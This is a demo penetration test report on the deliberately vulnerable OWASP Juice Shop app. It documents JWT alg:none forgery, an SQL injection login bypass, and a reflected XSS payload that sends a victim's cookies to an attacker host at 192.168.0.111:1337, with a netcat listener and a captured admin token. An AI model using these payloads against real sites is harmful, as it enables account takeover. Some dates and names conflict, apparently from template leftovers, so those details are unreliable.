

# JUICE SHOP Security Assessment Findings Report

Business Confidential (Demo)

Date: January 4<sup>th</sup>,2024 Version 1.0



# Table of Contents

Business Confidential (Demo)	1
Table of Contents	2
CONFIDENTIALITY STATEMENT	4
DISCLAIMER	4
CONTACT INFORMATION	4
ASSESSMENT OVERVIEW	5
ASSESSMENT COMPONENTS	5
Internal Penetration Test	5
FINDING SEVERITY RATINGS	6
RISK FACTORS	6
Likelihood	6
SCOPE	
Scope Exclusions Client Allowances	7 7
EXECUTIVE SUMMARY	8
Scoping and Time Limitations Testing Summary	8 8
VULNERABILITY SUMMARY & REPORT CARD	9
Internal Penetration Test Findings	9
TECHNICAL FINDINGS	11
Penetration Test Findings	11
NF-2.1: Authentication Bypass using malicious JWT token (High)	
NF-2.2: Authentication Bypass using SQL Injection	
NF-2.3 Reflected Cross Site Scripting	
NF-2.4 Payment Bypass	
NF-3.1 Sensitive Information Disclosure (Unauthorized FTP access)	
NF-3.3 Insecure Direct Object Reference (Viewing another user's basket)	24
NF-3.4 Captcha Bypass	
NF-4.1 Verbose Error Messages	
NF-4.2 Sensitive Data Exposure (Prometheus)	
NF-5.1 Vulnerable JavaScript libraries	
Additional Scans and Reports	33



# **Confidentiality Statement**

This document is the exclusive property of Juice Shop and NESMATE. This document contains proprietary and confidential information. Duplication, redistribution, or use, in whole or in part, in any form, requires consent of both Juice Shop and NESMATE.

Juice Shop may share this document with auditors under non-disclosure agreements to demonstrate penetration test requirement compliance.

# Disclaimer

A penetration test is considered a snapshot in time. The findings and recommendations reflect the information gathered during the assessment and not any changes or modifications made outside of that period.

Time-limited engagements do not allow for a full evaluation of all security controls. NESMATE prioritized the assessment to identify the weakest security controls an attacker would exploit. NESMATE recommends conducting similar assessments on an annual basis by internal or third-party assessors to ensure the continued success of the controls.

## **Contact Information**

Name	Title	Contact Information
NESMATE		
Kamil Bernasiński	Penetration Tester	Email: kamil.bernasinski@nesmate.com



# Assessment Overview

From December 21<sup>th</sup>, 2024 to January 4<sup>th</sup>, 2021, Juice Shop engaged NESMATE to evaluate the security posture of its infrastructure compared to current industry best practices that included an internal network penetration test. All testing performed is based on the OWASP Testing Guide (v4), and customized testing frameworks.

Phases of penetration testing activities include the following:

- Planning Customer goals are gathered and rules of engagement obtained.
- Discovery Perform scanning and enumeration to identify potential vulnerabilities, weak areas, and exploits.
- Attack Confirm potential vulnerabilities through exploitation and perform additional discovery upon new access.
- Reporting Document all found vulnerabilities and exploits, failed attempts, and company strengths and weaknesses.



# Assessment Components

## Internal Penetration Test

An internal penetration test emulates the role of an attacker from inside the network. An engineer will scan the network to identify potential host vulnerabilities and perform common and advanced internal network attacks, such as: LLMNR/NBT-NS poisoning and other man- in-the-middle attacks, token impersonation, kerberoasting, pass-the-hash, golden ticket, and more. The engineer will seek to gain access to hosts through lateral movement, compromise domain user and admin accounts, and exfiltrate sensitive data.



# **Finding Severity Ratings**

The following table defines levels of severity and corresponding CVSS score range that are used throughout the document to assess vulnerability and risk impact.

Severity	CVSS V3 Score Range	Definition
Critical	9.0-10.0	Exploitation is straightforward and usually results in system-level compromise. It is advised to form a plan of action and patch immediately.
High	7.0-8.9	Exploitation is more difficult but could cause elevated privileges and potentially a loss of data or downtime. It is advised to form a plan of action and patch as soon as possible.
Moderate	4.0-6.9	Vulnerabilities exist but are not exploitable or require extra steps such as social engineering. It is advised to form a plan of action and patch after high-priority issues have been resolved.
Low	0.1-3.9	Vulnerabilities are non-exploitable but would reduce an organization's attack surface. It is advised to form a plan of action and patch during the next maintenance window.
Informational	N/A	No vulnerability exists. Additional information is provided regarding items noticed during testing, strong controls, and additional documentation.

## **Risk Factors**

Risk is measured by two factors: Likelihood and Impact:

## Likelihood

Likelihood measures the potential of a vulnerability being exploited. Ratings are given based on the difficulty of the attack, the available tools, attacker skill level, and client environment.

## Impact

Impact measures the potential vulnerability's effect on operations, including confidentiality, integrity, and availability of client systems and/or data, reputational harm, and financial loss.



# Scope

Assessment	Details
Internal Penetration Test	http://juiceshop.com

## **Scope Exclusions**

Per client request, NESMATE did not perform any of the following attacks during testing:

- Denial of Service (DoS)
- Phishing/Social Engineering

All other attacks not specified above were permitted by Juice Shop.

## **Client Allowances**

Juice Shop provided NESMATE the following allowances:

- Internal access to the application by providing the following accounts:
- user@juiceshop.com (regular user)



# **Executive Summary**

TCMS evaluated Demo Corp's internal security posture through penetration testing from February 21<sup>th</sup>, 2023 to January 04<sup>th</sup>, 2024. The following sections provide a high-level overview of vulnerabilities discovered, successful and unsuccessful attempts, and strengths and weaknesses.

## Scoping and Time Limitations

Scoping during the engagement did not permit denial of service or social engineering across all testing components.

Time limitations were in place for testing. Internal network penetration testing was permitted for ten (10) business days.

## **Testing Summary**

The testing on OWASP Juice Shop revealed several security vulnerabilities, which is expected for a deliberately insecure application. The findings provide valuable insights into common security issues and serve as an excellent resource for educational purposes. The recommendations aim to assist developers and organizations in enhancing the security posture of their applications. Regular testing and adherence to secure coding practices are crucial for maintaining a robust and resilient application against potential security threats.

For further information on findings, please review the <u>Technical Findings</u> section.



# Vulnerability Summary & Report Card

The following tables illustrate the vulnerabilities found by impact and recommended remediations:

## **Internal Penetration Test Findings**

0	4	4	2	1
Critical	High	Medium	Low	Informational

Finding	Severity	Recommendation
NF-2.1: Authentication Bypass using malicious JWT token	High	Verify the token's signature, issuer, and expiration date to prevent tampering and unauthorized access.
NF-2.2: Authentication Bypass using SQL Injection	High	Use parameterized queries or prepared statements: Ensure that all SQL queries are parameterized to prevent attackers from injecting malicious SQL code.
NF-2.3 Reflected Cross Site Scripting	High	Implement and strictly enforce input validation and output encoding mechanisms to sanitize user inputs before displaying them on web pages.
NF-2.4 Payment Bypass	High	Ensure the data is also validated on the server side of the application.
NF-3.1 Sensitive Information Disclosure (Unauthorized FTP access)	Medium	Ensure that your FTP server is configured securely. Disable anonymous FTP access, and use strong authentication mechanisms.
NF-3.2 Sensitive Data Sent Through Unencrypted Channel	Medium	Implement secure communication by enabling HTTPS on your web server. This ensures that data transmitted between the client and server is encrypted, preventing eavesdropping and man-in-the-middle attacks.
NF-3.3 Insecure Direct Object Reference (Viewing another user's basket)	Medium	Implement proper access controls: Restrict access to sensitive information based on user roles and responsibilities. Ensure that users only



		have access to their own data.
NF-3.4 Captcha Bypass	Medium	Adjust the difficulty level of captchas based on the sensitivity of the operation. Apply rate limiting mechanisms to restrict the number of captcha-solving attempts within a specific time frame.
NF-4.1 Verbose Error Messages	Low	Replace detailed error messages with generic or custom error pages. Avoid displaying stack traces, database details, or other internal information to users.
NF-4.2 Sensitive Data Exposure (Prometheus)	Low	Apply the principle of least privilege by enforcing strict access controls. Only grant access to individuals who require the data for their specific roles and responsibilities.
NF-5.1 Outdated JavaScript Libraries	Informational	Regularly check for updates and security patches for all JavaScript libraries used in your application. Ensure that you are using the latest versions to benefit from bug fixes and security enhancements.



# **Technical Findings**

## **Penetration Test Findings**

## NF-2.1: Authentication Bypass using malicious JWT token (High)

Description:	Authentication Bypass using a malicious JSON Web Token (JWT) involves exploiting vulnerabilities in the token-based authentication system. In this scenario, attackers craft a specially manipulated JWT, embedding deceptive or forged information, to trick the authentication mechanism into granting unauthorized access. This method allows malicious actors to navigate past authentication checkpoints undetected, potentially compromising sensitive data, user accounts, or system resources. In this case the application allow user authorize the request without signature.
Tools Used:	Burp Suite, Cookie Editor, JWT_TOOL
References:	WSTG-ATHN-04 <u>https://owasp.org/www-project-web-security-testing-guide/latest/4-</u> Web_Application_Security_Testing/04- Authentication_Testing/04- Testing_for_Bypassing_Authentication_Schema.html
Remediation	Verify the token's signature, issuer, and expiration date to prevent tampering and unauthorized access.

#### Evidence

### As you can see in the picture below attacker is logged in as user@juiceshop.com.







Attacker tamper the session cookie using JWT\_Tool

[kamil@MacBook-Pro-Kamil jwt\_tool % python3 jwt\_tool.py eyJ@eXAiOiJKV1QiLCJhbGciO] iJSUzI1NiJ9.eyJzdGF0dXMiOiJzdWNjZXNzIiwiZGF0YSI6eyJpZCI6MjIsInVzZXJuYW11IjoidGVz dCIsImVtYWlsIjoidXNlckBqdWljZXNob3AuY29tIiwicGFzc3dvcmQiOiJmNDUwODQ0Yzg4N2UxMTcz MTA4YTAyNjYwMmYyNDdlMyIsInJvbGUiOiJjdXN0b21lciIsImRlbHV4ZVRva2VuIjoiIiwibGFzdExv Z2luSXAiOiJ1bmRlZmluZWQiLCJwcm9maWxlSW1hZ2UiOiIvYXNzZXRzL3B1YmxpYy9pbWFnZXMvdXBs b2Fkcy9kZWZhdWx0LnN2ZyIsInRvdHBTZWNyZXQiOiIiLCJpc0FjdGl2ZSI6dHJ1ZSwiY3JlYXRlZEF0 IjoiMjAyNC0wMS0wMiAyMjo1Nzo1NC4zNTIgKzAw0jAwIiwidXBkYXRlZEF0IjoiMjAyNC0wMS0wMiAy Mzo0OToyNy4zNjUgKzAw0jAwIiwiZGVsZXRlZEF0IjpudWxsfSwiaWF0IjoxNzA0MjQwOTg2fQ.Hutqk yEEFsQK-cpfvV8FjQ8xSX68SEfmydTc-6muF6MHXDUjs3wfiBEbJlcsRRxFzmioWQLPXJTg\_PYA16Vf8 Y-j9mTHAifdeF5Tfru6olXuvqrETZUXip3VzbTP0PYd09H93jpUftHRYJSBJ3jreVBHEK\_\_tBbQJr2Lh erxd0U -T

User change alg from RS256 to none



User change email to another user's email

Current value of email is: user@juiceshop.com Please enter new value and hit ENTER > user2@juiceshop.com



#### User delete the signature

kamil@MacBook-Pro-Kamil jwt\_tool % python3 jwt\_tool.py eyJ@eXAiOiJKV1QiLCJhbGciO iJub251In0.eyJzdGF@dXMiOiJzdWNjZXNzIiwiZGF@YSI6eyJpZCI6MjIsInVzZXJuYW11IjoidGVzd CIsImVtYWlsIjoidXN1cjJAanVpY2VzaG9wLmNvbSIsInBhc3N3b3JkIjoiZjQ1MDg@NGM40Dd1MTE3M zEwOGEwMjY2MDJmMjQ3ZTMiLCJyb2x1IjoiY3VzdG9tZXIiLCJkZWx1eGVUb2tlbiI6IiIsImxhc3RMb 2dpbklwIjoidW5kZWZpbmVkIiwicHJvZmlsZUltYWdIIjoiL2Fzc2V@cy9wdWJsaWMvaW1hZ2VzL3Vwb G9hZHMvZGVmYXVsdC5zdmciLCJ@b3RwU2VjcmV@IjoiIiwiaXNBY3RpdmUiOnRydWUsImNyZWF@ZWRBd CI6IjIwMjQtMDEtMDIgMjI6NTc6NTQuMzUyICswMDowMCIsInVwZGF@ZWRBdCI6IjIwMjQtMDEtMDIgM jM6NDk6MjcuMZY1ICswMDowMCIsImRlbGV@ZWRBdCI6bnVsbH@sImlhdCI6MTcwNDI@MDk4Nn0.Hutqk yEEFsQK-cpfvV8FjQ8xSX68SEfmydTc-6muF6MHXDUjs3wfiBEbJlcsRRxFzmioWQLPXJTg\_PYA16Vf8 Y-j9mTHAifdeF5Tfru6olXuvqrETZUXip3VzbTPOPYd09H93jpUftHRYJSBJ3jreVBHEK\_\_tBbQJr2Lh erxd@U -X n

#### User swap the original token with modified token

C A Nerzeberzeleczonal juliceshop.com.3000/#/search     Cokie Editor     Startch     Cokie Editor     Cokie Editor     Startch     Startch  <	••• • 1 OWASP Juice Shop × +			
Cookie Editor Show Advanced Q Search All Products Cick for more information Cick for more informat	← → C ▲ Niezabezpieczona juiceshop.com:3000/#/search			🗠 🖞 🛧 🕘 🖈 🗶 🖬 🔺
All Products  Castor now information  All Products  Castor now information  Ca			Cookie Editor	Show Advanced
All Products Cick to more information Cick to			Q Search	
All Products  Cits for more information  Cits fo			✓ continueCode	
Cites for more information <ul> <li>Integrage</li> <li>token</li> <li>token&lt;</li></ul>	All Products		✓ cookieconsent_status	
token		Click for more information	✓ language	
Apple Juice (1000mi) 1.999 1.999 Apple Pomace 0.899 + <b>1</b> <b>1</b> <b>1</b> <b>1</b> <b>1</b> <b>1</b> <b>1</b> <b>1</b> <b>1</b> <b>1</b>	Apple Juice (1000mi) 1.980	Apple Pomace 0.890	token     Name     token     token     vorden     token     vorden     v	elGFRatXMOLtadWijZXNctliwiZ ArdCISImVYMSijauXMicjiAan 11M0g0NGMCOdUTESMeEw Stors Advanced

As we can see In the picture below we are logged as another user (user2@juiceshop.com)





### NF-2.2: Authentication Bypass using SQL Injection

Description:	Authentication Bypass using SQL Injection is a cybersecurity vulnerability that arises when an attacker leverages SQL injection techniques to manipulate the authentication process of a web application or system. In this scenario, an unauthorized user can gain access to secured areas or functionalities without providing valid credentials. SQL injection involves injecting malicious SQL queries into input fields, exploiting vulnerabilities in the application's code that improperly handles user input.
Tools Used:	Burp Suite
References:	WSTG-ATHN-04 https://owasp.org/www-project-web- security-testing-guide/latest/4- Web_Application_Security_Testing/04- Authentication_Testing/04- Testing_for_Bypassing_Authentication_Schema.html
Remediation	Use parameterized queries or prepared statements: Ensure that all SQL queries are parameterized to prevent attackers from injecting malicious SQL code.

#### Evidence

User provide another user login and at the end of it add ' or 1=1 - SQL query. User also provide any characters in password field.

••• • (1) OWASP Juice Shop × +	
$\leftarrow$ $\rightarrow$ <b>C</b> $\triangle$ Niezabezpieczona juiceshop.com:3000/#/login	
$\equiv$ $\underbrace{1}_{0}$ OWASP Juice Shop	
	Login Inall* admin' or 1=1 Password* © Forgot your password? Deg in Pemember me Not yet a customer?



#### Attacker logged in as administrator



### Admin's panel

• • • I OWASP Juice Shop				
$\leftarrow$ $\rightarrow$ C $\triangle$ Niezabezpieczona	juiceshop.com:3000/#/administration			₫☆ 🛊 🖬 🛋 🗄
	Juice Shop			Q ⊖ Account 🚆 Your Basket ⊕ EN
Admi	nistration			
	Registered Users		Customer Feedback	
		0	1 I love this shop! Best products in town! Highly rec- ★★★★ ommended! (**in@juice-sh.op)	★ <sub>面</sub>
		0	2 Great shop! Awesome service! (***@juice-sh.op) 🗙 ★ ★	<b>ā</b>
		0	3 Nothing useful available here! (***der@juice-sh.op) ★	0
		•	21 Please send me the juicy chatbot NFT in my wallet at /juicy-nft : *purpose betray marriage blame	Ū
	ciso@juice-sh.op	0	Incompetent customer support! Can't even upload 🛛 🛧 🛧	â



## NF-2.3 Reflected Cross Site Scripting

Description:	Cross-Site Scripting (XSS) attacks are a type of injection, in which malicious scripts are injected into otherwise benign and trusted websites. XSS attacks occur when an attacker uses a web application to send malicious code, generally in the form of a browser side script, to a different end user. Flaws that allow these attacks to succeed are quite widespread and occur anywhere a web application uses input from a user within the output it generates without validating or encoding it.
Tools Used:	Burp Suite
References:	WSTG-INPV-01 https://owasp.org/www-project-web-security-testing- guide/latest/4-Web_Application_Security_Testing/07- Input_Validation_Testing/01-Testing_for_Reflected_Cross_Site_Scripting
Remediation	Implement and strictly enforce input validation and output encoding mechanisms to sanitize user inputs before displaying them on web pages.

#### Evidence

User is able to inject malicious HTML tag with JavaScript code in *q* parameter.

It can be used to steal another user's session token in the following way:

Attacker start listening on port 1337 using the following command:



Attacker send the following link to the victim:

http://juiceshop.com:3000/#/search?q=%3Cimg%20src%3Dx%20onerror%3Dthis.src%3D'http: %2F%2F192.168.0.111:1337%2F%3Fc%3D'%2Bdocument.cookie%3E



## When the victim enter the link script execute.

•••	OWASP Juice Shop × +			
$\leftrightarrow$ $\sigma$	▲ Niezabezpieczona juiceshop.com:3000/#/search?q= <in< td=""><td>g%20src%3Dx%20onerror%3Dthis.src%3D'http:%2F%2F192.168.0.111:133</td><td>7%2F%3Fc%3D'%2Bdocument.cookie&gt;</td><td>û 🛠 🗰 🛋 🖬 🛋 🗄</td></in<>	g%20src%3Dx%20onerror%3Dthis.src%3D'http:%2F%2F192.168.0.111:133	7%2F%3Fc%3D'%2Bdocument.cookie>	û 🛠 🗰 🛋 🖬 🛋 🗄
=	OWASP Juice Shop		$\leq$ img src=x onerror=this.src='http://192.11	😝 Account 📜 Your Basket 🌐 EN
	Search Results -			

#### When victim entered the link an attacker got his session token.

	jwt_tool — nc -l 1337 — 80×24
[kamil@MacBook-Pro-Kamil jv	vt_tool % nc -l 1337 ]
GET /?c=language=en;%20wel	lcomebanner_status=dismiss;%20cookieconsent_status=dism
iss;%20token=eyJ0eXAiOiJK	/1QiLCJhbGciOiJSUzI1NiJ9.eyJzdGF0dXMiOiJzdWNjZXNzIiwiZG
F0YSI6eyJpZCI6MSwidXN1cm5	nbWUiOiIiLCJlbWFpbCI6ImFkbWluQGp1aWNlLXNoLm9wIiwicGFzc3
dvcmQiOiIwMTkyMDIzYTdiYmQ3	3MzI1MDUxNmYwNjlkZjE4YjUwMCIsInJvbGUiOiJhZG1pbiIsImRlbH
V4ZVRva2VuIjoiIiwibGFzdExv	/Z2luSXAiOiIiLCJwcm9maWxlSW1hZ2UiOiJhc3NldHMvcHVibGljL2
ltYWdlcy91cGxvYWRzL2RlZmF:	LbHRBZG1pbi5wbmciLCJ0b3RwU2VjcmV0IjoiIiwiaXNBY3RpdmUiOn
RydWUsImNyZWF0ZWRBdCI6IjIv	vMjQtMDEtMDIgMjI6NDE6NTQuOTA1ICswMDowMCIsInVwZGF0ZWRBdC
I6IjIwMjQtMDEtMDIgMjI6NDE	5NTQuOTA1ICswMDowMCIsImRlbGV0ZWRBdCI6bnVsbH0sImlhdCI6MT
cwNDI0MTM3N30.EbcQ0mk5HLq	5s75uiVoXjCooLaTnQeZVzd01EepmXyCvOgnqrcWIkT21yrTG6TS422
JXZoYt4scnw-9o0fBH_wxxH6Wy	/ch6taqiMrTzDic0frvQsc3ouWgseBCS1BOmh0D-uASFt3gOo11ef0V
REN0s30n7A9HiC0Mh2XvBMioE	%20continueCode=1ZwBLrKqWXamDEzyO9RgGm7tgfnKuDnIbOtpXi
x6Ao2M36xjVQbJvklN87pP HT	ΓP/1.1
Host: 192.168.0.111:1337	
User-Agent: Mozilla/5.0 (W	Vindows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/120.0	.6099.71 Safari/537.36
Accept: image/avif,image/w	vebp,image/apng,image/svg+xml,image/*,*/*;q=0.8
Referer: http://juiceshop	.com:3000/
Accept-Encoding: gzip, det	flate, br
Accept-Language: pl-PL,pl;	;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close	

#### Attacker swap his session token.





## Victim's account stolen.





NF-2.4 Payment	Bypass
Description:	An attacker is able to bypass the payment functionality. Payment status is not validated properly on the backend side.
Tools Used:	Burp Suite
References:	WSTG-BUSL-01 <u>https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/10-</u> Business_Logic_Testing/01-Test_Business_Logic_Data_Validation
Remediation	Ensure the data is also validated on the server side of the application.

## Evidence

Attacker click checkout with any items from the shop.

• • • J OWASP Julice Shop × +	
← → C ▲ Niezabezpieczona juiceshop.com:3000/#/basket	©⊤
≡ 🧕 OWASP Juice Shop	R 😝 Ac
Your Basket (user@juiceshop.com)	
Apple Juice (1000ml) = 1 = 1.990 m	
Total Price: 1.99ª	
۲ Checkout	
You will gain 0 Bonus Points from this order!	

## Attacker set any address.

• • • J OWASP Juice Shop X	+			
$\leftarrow$ $\rightarrow$ C $\land$ Niezabezpieczona juiceshop.co	om:3000/#/address/select			
≡ 🧕 🧕 OWASP Juice Sh	op			۹
	Select an addres	S Adress 1	plac Patuszowy 1, 43-300 Bielsko-Biała, Bielsko-Biała, Śląskie, Poland 43-300	> Continue



## Attacker set any delivery speed.

🔍 🔍 🧕 🤰 OWASP Juice Shop 🛛 🗙	+				
igstarrow igstarro	m:3000/#/delivery-method				e
$\equiv$ $\underbrace{1}{100}$ OWASP Juice Sho	qq				۹ <b>9</b>
	Delivery Address Adress 1 plac Ratuszowy 1, 43-300 Bir Poland Phone Number 123456789 Choose a deliver	elsko-Biała, Bielsko-Biała, Śląskie, 43-300 y speed			
			Price	Expected Delivery	
		I One Day Delivery	0.99¤	1 Days	
	0	🚓 Fast Delivery	0.50¤	3 Days	
	0	Standard Delivery	0.00¤	5 Days	
	< Back			> Continue	

## Attacker inspect element and remove *disable="true"* in the button HTML tag.

🔍 🔍 🧵 OWASP Juice Shop 🛛 🗙				
$\leftrightarrow$ $\rightarrow$ $\mathbf{C}$ ( $ ilde{\Delta}$ Niezabezpieczona juiceshop.co	om:3000/#/payment/shop			👓 🖞 🖈 👗 🖬 🚢 🗄
$\equiv$ $\cancel{1}$ OWASP Juice Sho	qq			우. 😝 Account 🏋 Your Basket 🕀 EN
	My Payment Options			
	Add new card	Add a credit or debit card		
	Pay using wallet	Wallet Balance 0.00		
	Add a coupon	Add a coupon code to receive discounts		
	Other payment options			
	< Back	You can review this order before it is finalized.		
DevTools is now available in Polish! Always match Chron	me's language Switch DevTools to Polish	Don't show again		
🔆 🗖 Elements Recorder 🗄 Console Sou	urces Network Performance Memory	y Application Security Lighthouse Cockie Editor DOM Invader		■1 🕄 : ×
<pre><l></l></pre>	role="separator" class="mat-divider ma tj-cl01 class="mat-expansion-panel mat	nt-divider-horizontal" aria-orientationm"horizontal"> -elevation-20 ng-tns-c4i-31 ng-star-inserted">⊙		Styles         Computed         Layout         Event Listeners         >>           [Filter         :hov         .cls         +         ♀         •           element.style         {         }         •         •         •
<pre>-mat_divider _ngcontent-ytj=c101 v <div _ngcontent-ytj="c101" style="mature"> sbutton _ngcontent-ytj=c101 mature" </div></pre>	<pre>role="separator" class="mat-divider ma margin-top: 20px; margin-bottom: 20px;" -stroked-button class="mat-focus-indic."</pre>	t-divider-horizontal" aria-orientation="horizontal"> >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>		.bluegrey-lightgreen-theme .mat- styles.css:4 raised-button.mat-button- disabled:not([class+=mat-elevation-z]) {
* <button _ngcontent-ytj-c101="" mat-<br="">mat-primary mat-button-disabled</button>	<pre>-raised-button mat-button color="prima " disabled="true"&gt; == \$0</pre>	rry" aria-label="Proceed to review" class="mat-focus-indicator btn nextButton mat-but interview".	cton mat-raised-button mat-button-base	box-shadow: L0 0 0 ##0003, D0 0 ##00000024, D0 0 ##0000001f;
<pre></pre>	er">@ pple mat-button-ripple"> -overlay"> ext-align: center; margin-top: -27px;"			bluegrey-Lightgreen-theme .mat- styles.css:4 flat-button.mat-primary.mat- button-disabled, .bluegrey-Lightgreen-theme .mat-flat-button.mat-accent.mat-button-disabled, .bluegrey-Lightgreen-theme .mat-flat-button.mat- warn.mat-button-disabled, .bluegrey-Lightgreen- lightgreen-
- Addison		Safari		theme .mat-flat-button.mat-button-disabled.mat-



## Attacker bypassed the payment and can click place your order and pay.

••• • • • • • • • • • • • • • • • • •		
← → C ▲ Niezabezpieczona juiceshop.com:3000/#/order-summary		ை ப்
≡ 🧕 OWASP Juice Shop	م <b>و</b>	Accour
Your Basket (user@juiceshop.com)       Image: Second		

## Order successful.

• • • 1 OWASP Juice Shop × •	+						
igstarrow igstarro	n:3000/#/order-completion/f450-47dce	e8e2887d2536					∞ (
$\equiv$ $\underbrace{1}{100}$ OWASP Juice Sho	p					۹	e Accou
	Thank you for your pu Your order has been placed and is be our Track Orders page.	JTChase! Jing processed. You can check for statu	s updates on	Your order will be del Delivery Address Adress 1 plac Ratuszowy 1, 43 Sigskie, 43-300 Poland Phone Number 1234	vered in 1 days. -300 Bielsko-Biała, Bielsko-Biała, 56789		
	Order Summary				۲ 🖌		
	Product	Price	Quantity		Total Price		
	Apple Juice (1000ml)	1.99¤			1.99¤		
			Items		1.99¤		
			Delivery		0.99¤		
			Promotion		0.00¤		
			Total Price		2.980		
	You have gained 0 Bonus Points from	n this order!					



## *NF-3.1 Sensitive Information Disclosure (Unauthorized FTP access)*

Description:	An attacker can get access to ftp server without proper permissions. On the share can be observed files with sensitive data.
Tools Used:	Burp Suite, Dirb
References:	A3:2017-Sensitive Data Exposure <u>https://owasp.org/www-project-top-</u> ten/2017/A3_2017-Sensitive_Data_Exposure
Remediation	Ensure that your FTP server is configured securely. Disable anonymous FTP access and use strong authentication mechanisms.

### Evidence

Attacker is able to download files from ftp server which are listed below. Link: http://jujceshop.com:3000/ftp

• • • J OWASP Juice Shop × S listing directory //tp/	× 🗴 OWASP Juice Shop x   +	
$\epsilon  ightarrow \mathbf{C}$ ( $\Delta$ Niezabezpieczona juiceshop.com:3000/ftp/		
~ / ftp /		
🔁 quarantine	acquisitions.md	announcement_encrypted.md
coupons_2013.md.bak	eastere.gg	encrypt.pyc
incident-support.kdbx	🖹 legal.md	F order_d20c-a1862114e5a102e3.pdf
🔎 order_d20c-af3007ee8c53836c.pdf	package.json.bak	suspicious_errors.yml

## The vulnerability has been found using command dirb <u>https://juiceshop.com:3000</u>

<pre>[kali⊕ kali)-[~]</pre>	
DIRB v2.22 By The Dark Raver	
START_TIME: Sat Dec 30 14:50:11 2023 URL_BASE: http://juiceshop.com:3000/	
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt	
GENERATED WORDS: 4612	
—— Scanning URL: http://juiceshop.com:3000/ —— + http://juiceshop.com:3000/assets (CODE:301 SIZE:179)	
+ <u>http://juiceshop.com:3000/]tp</u> (CODE:200 SIZE:12512) + http://juiceshop.com:3000/profile (CODE:500 SIZE:1154)	
<pre>+ http://juiceshop.com:3000/promotion (CODE:200 SIZE:6586) + http://juiceshop.com:3000/redirect (CODE:500 SIZE:3119)</pre>	
<pre>+ http://juiceshop.com:3000/robots.txt (CODE:200 SIZE:28) + http://juiceshop.com:3000/snippets (CODE:200 SIZE:792)</pre>	
<pre>+ http://juiceshop.com:3000/video (CODE:200 SIZE:10075518) + http://juiceshop.com:3000/Video (CODE:200 SIZE:10075518)</pre>	
END_11ME: Sat Dec 30 14:50:29 2023 DOWNLOADED: 4612 - FOUND: 9	2



### NF-3.2 Sensitive Data Sent Through Unencrypted Channel

Description:	Unencrypted communication channels can expose confidential data to attackers. This discovery sheds light on the various scenarios where sensitive information, such as personal identifiable information is exposed.
Tools Used:	Burp Suite
References:	WSTG-CRYP-03 https://owasp.org/www-project-web-security-testing- guide/latest/4-Web_Application_Security_Testing/09- Testing_for_Weak_Cryptography/03- Testing_for_Sensitive_Information_Sent_via_Unencrypted_Channels
Remediation	Implement secure communication by enabling HTTPS on your web server. This ensures that data transmitted between the client and server is encrypted, preventing eavesdropping and man-in-the-middle attacks.

#### Evidence

As we can see in the picture below the site does not use https.





## *NF-3.3 Insecure Direct Object Reference (Viewing another user's basket)*

Description:	This can occur when a web application or application programming interface uses an identifier for direct access to an object in an internal database but does not check for access control or authentication. For example, if the request URL sent to a web site directly uses an easily enumerated unique identifier that can provide an exploit for unintended access to all records.
Tools Used:	Burp Suite
References:	WSTG-ATHZ-04 <u>https://owasp.org/www-project-web-security-testing-</u> guide/latest/4-Web_Application_Security_Testing/05-Authorization_Testing/04- Testing_for_Insecure_Direct_Object_References
Remediation	Implement proper access controls: Restrict access to sensitive information based on user roles and responsibilities. Ensure that users only have access to their own data.

#### Evidence

Attacker go to his basket.

••• • J OWASP Juice Shop × +		
igstarrow igstarro	00/#/basket	
≡ 🛛 👖 OWASP Juice Shop		۹ (
Y	our Basket	
		Total Price: 0¤
	You will gain 0 Bonus Points from this order!	



#### Attacker intercerpt the request with Burp Suite.



#### Attacker change basket number and is able to read other user's basket.





NF-3.4 Captcha B	ypass
Description:	CAPTCHAs are designed to prevent automated bots from accessing or interacting with online services, ensuring that only human users can proceed. The discovered weakness allows malicious actors to circumvent the CAPTCHA mechanism.
Tools Used:	Burp Suite
References:	WSTG-ATHN-08 <u>https://owasp.org/www-project-web-security-testing-</u> guide/latest/4-Web_Application_Security_Testing/04- Authentication_Testing/08-Testing_for_Weak_Security_Question_Answer
Remediation	Adjust the difficulty level of captchas based on the sensitivity of the operation. Apply rate limiting mechanisms to restrict the number of captchasolving attempts within a specific time frame.

## Evidence

Attacker go to customer feedback page.

• • • I OWASP Juice Shop x +		
$\leftarrow$ $\rightarrow$ C $\triangle$ Niezabezpieczona juiceshop.com:3000/#/contact		₫☆ 🛊 🖬 🛋 🗄
≡ 🗕 🚊 OWASP Juice Shop		Q 😝 Account 🎽 Your Basket 🌐 EN
	Customer Feedback	



Attacker intercept the request and send it to intruder.

	p://juiceshop.con	n:3000 [172.16.244.2]						
Forward	Drop	Intercept is on	Action	Open browser				
Pretty Raw	Hex					E	۱n	-
POST /api/Fe Host: juices Content-Leng Acteopt: app Authorizatic eyJ0eXAi0iJł kbWluQGp1aW va2VuIjoiIi iLCJ0b3RwU2' BdCI6IjIwMji XjCooLaTnOe	eedbacks/ HTT shop.com:3000 gth: 102 lication/jsor on: Bearer KV1QiLCJhbGci NlLXNoLm9wIiw wibGFzdExvZ2 VjcmV0IjoiIiw QtMDEtMDIgMj Qtzd0IEepmXv(	P/1.1 , text/plain, */* 0.iJSUzI1NiJ9.eyJzdG vicGFzc3dvcmQi0iIwMT .uSXA10iIILCJwcm9maW viaXNBY3RpdmUiOnRydW 16NDE6NTQu0TA11CswMD V0qnqrcWIKT21vrTG6T	FØdXMiOiJzdWN kyMDIzYTdiYmQ xlSW1hZ2UiOiJ UsImNyZWFØZWF owMCIsImRlbGV S422JXZoYt4sc	IjZXNzIiwiZGF0YS I3MzI1MDU×NmYwNj hc3NldHMvcHVibG I8dCI6IjIWMjQtMDI 0ZWRBdCI6bnVsbH0 nw-900fBH wxxH6)	[6ey]pZCI6MSwid) LkZjE4YjUwMCIsI LjL2ltYWdlcy91c tHDIgMjI6NDE6N DsImlhdCI6MTcwNI Wych6taqiMTTZDi	<pre>KNlcm5hbWUi0iIiLCJlbWFp nJvbGUi0iJhZG1pbiIsImRl SxvYWRzL2RlZmF1bHRBZG1p TQu0TA1ICswHDowMCIsInVw DI0MTM3N30.EbcQ0mk5HLq6 c0frvQsc3ouWqseBCSlB0mh</pre>	bCI61 bHV42 bi5wt ZGF02 s75ui 0D-u/	ImF ZVF bmc ZWF iVc ASF
t3g0o11ef0VF	REN0s30n7A9Hi	COMh2XvBMioE	in64. v64) An			Scan		
